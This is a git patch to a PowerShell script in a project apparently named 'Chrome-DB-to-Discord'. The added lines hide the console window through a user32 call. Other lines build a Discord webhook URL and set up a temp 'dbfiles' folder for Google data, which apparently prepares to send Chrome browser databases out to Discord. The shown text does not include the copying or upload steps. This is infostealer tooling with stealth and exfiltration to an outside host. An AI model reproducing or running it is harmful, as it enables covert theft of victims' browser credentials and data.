From 8a8bb7c305e80c71b5a59cbd00dd8008e44cd63b Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 20 Jun 2025 20:36:53 +0000 Subject: [PATCH] Update main.ps1 --- Chrome-DB-to-Discord/main.ps1 | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 index 531c5c8..85d9d5e 100644 --- a/Chrome-DB-to-Discord/main.ps1 +++ b/Chrome-DB-to-Discord/main.ps1 @@ -1,8 +1,27 @@ +# Uncomment $hide='y' below to hide the console +# $hide='y' + +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } +} + + $dc = "$dc" if ($dc.Length -lt 120){ $dc = ("https://discord.com/api/webhooks/" + "$dc") } + $temp = [System.IO.Path]::GetTempPath() $tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles' $googledest = Join-Path -Path $tempFolder -ChildPath 'google'